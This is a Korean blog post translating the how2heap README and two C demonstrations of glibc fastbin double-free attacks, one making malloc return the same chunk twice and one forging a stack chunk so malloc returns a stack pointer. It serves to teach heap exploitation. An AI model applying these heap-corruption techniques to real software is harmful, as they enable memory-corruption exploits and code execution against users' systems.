일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- xavis 라이트업
- darkelf
- goblin 풀이
- los 풀이
- goblin 라이트업
- cobolt 풀이
- blind sql injection
- Los
- wolfman 라이트업
- orc 라이트업
- zomblie_assassin 라이트업
- zombie_assassin
- los 라이트업
- SQL Injection
- orge 라이트업
- cobolt
- los of sql injection xavis
- gremlin 라이트업
- lord of sql injection 풀이
- cobolt 라이트업
- wolfman
- wolfman 풀이
- orc 풀이
- darkelf 라이트업
- orc
- NULL 잡아먹는 놈
- darkelf 풀이
- gremlin 풀이
- lord of sql injection
- 34t3rnull
- Today
- Total
NULL 잡아먹는 놈
[how2heap] fastbin 번역 본문
how2heap fastbin에 있는 글을 제 나름대로 번역했습니다. (영어 못해서 ㅈㅅㅈㅅ)
원본 페이지는 => https://github.com/shellphish/how2heap/commit/94eb200e53baa993667f9e82b7a32db693238d61
-------------------------------------------------------------------------------------------------
README.md
-------------------------------------------------------------------------------------------------
# 힙 교육적으로 이용하기
이 보고서는 힙을 활용하는 다양한 기술을 배우기 위한 것입니다.
+ 우리는 해킹 미팅 중에 아이디어를 찾아냈고, 다음과 같은 기술을 구현했습니다.
+
+ | File | Technique |
+ |---------|----------------|
+ | fastbin_dup.c | fastbin freelist를 악용함으로써 이미 할당되어있는 힙 포인터로 리턴하도록 malloc을 속이는 것입니다. |
+ | fastbin_dup_into_stack.c | fastbin freelist를 악용함으로써 근처 임의의 포인터로 리턴하도록 maclloc을 속이는 것입니다.|
+
+ ## 다른 참고 문서
+
+ 힙 활용 참고 문서 :
+
+- Malloc Des-Maleficarum (http://phrack.org/issues/66/10.html) - 다양한 malloc 활용 기술이 있음
-------------------------------------------------------------------------------------------------
fastbin_dup.c
-------------------------------------------------------------------------------------------------
#include <stdio.h> #include <stdlib.h> int main() { printf("이 파일은 간단한 fastbin에서의 double-free 공격을 증명합니다.\n"); printf("3개의 버퍼를 할당합니다\n"); int *a = malloc(8); int *b = malloc(8); int *c = malloc(8); printf("1st malloc(8): %p\n", a); printf("2nd malloc(8): %p\n", b); printf("3rd malloc(8): %p\n", c); printf("첫 번째 버퍼를 free시킵니다...\n"); free(a); printf("만약 우리가 %p를 다시 free시킨다면, 그것은 크래시를 일으킬 것입니다. 왜냐하면 %p는 free list 최상단에 위치해있기 때문이죠.\n", a, a); // free(a); printf("그래서, 대신, 우리는 %p를 free시킬겁니다.\n", b); free(b); printf("이제, 우리는 %p를 다시 free시킬 수 있습니다. 왜냐하면 이것은 free list 최상단에 있지 않기 때문이죠.\n", a); free(a); printf("이제 free list는 [ %p, %p, %p ]를 가지게 되었습니다. 만약 우리가 malloc을 3번 한다면, 우리는 %p를 두 번 얻을 수 있게됩니다!\n", a, b, a, a); printf("1st malloc(8): %p\n", malloc(8)); printf("2nd malloc(8): %p\n", malloc(8)); printf("3rd malloc(8): %p\n", malloc(8)); }
-------------------------------------------------------------------------------------------------
fastbin_dup_into_stack.c
-------------------------------------------------------------------------------------------------
#include <stdio.h> #include <stdlib.h> int main() { printf("이 파일은 malloc을 속임으로써 조작된 위치로 (이번 경우에는 스택)\n" "포인터를 리턴함으로써 fastbin_dup.c를 확장합니다.\n"); unsigned long long stack_var; printf("우리가 malloc()해서 리턴시키기 원하는 주소는 %p입니다.\n", 8+(char *)&stack_var); printf("3개의 버퍼를 할당합니다.\n"); int *a = malloc(8); int *b = malloc(8); int *c = malloc(8); printf("1st malloc(8): %p\n", a); printf("2nd malloc(8): %p\n", b); printf("3rd malloc(8): %p\n", c); printf("첫 번째 버퍼를 free시킵니다...\n"); free(a); printf("만약 우리가 %p를 다시 free시킨다면, 그것은 크래시를 일으킬 것입니다. 왜냐하면 %p는 free list 최상단에 위치해있기 때문이죠.\n", a, a);
+// free(a); printf("그래서, 대신, 우리는 %p를 free시킬겁니다.\n", b);
+ free(b); printf("이제, 우리는 %p를 다시 free시킬 수 있습니다. 왜냐하면 이것은 free list 최상단에 있지 않기 때문이죠.\n", a);
+ free(a); printf("이제, free list는 [ %p, %p, %p ]를 가지게 되었습니다. 우리는 이제 %p의 데이터를 수정함으로써 우리의 공격을 수행할 수 있습니다.\n", a, b, a, a); unsigned long long *d = malloc(8); printf("1st malloc(8): %p\n", d); printf("2nd malloc(8): %p\n", malloc(8)); printf("이제, 우리는 가짜 free 크기(이번 경우에는 0x20)를 스택에 써봅니다.\n" "그러면 malloc은 그곳에 free chunk가 있다고 생각할 것이고,\n" "포인터를 그곳에 리턴하는 것에 동의할 것입니다.\n"); stack_var = 0x20; printf("이제, 우리는 %p의 첫 8바이트를 0x40 다음 위치한 곳에 덮어쓸 수 있습니다 .\n", a); *d = ((char*)&stack_var) - sizeof(d); printf("3rd malloc(8): %p\n", malloc(8)); printf("4rd malloc(8): %p\n", malloc(8)); }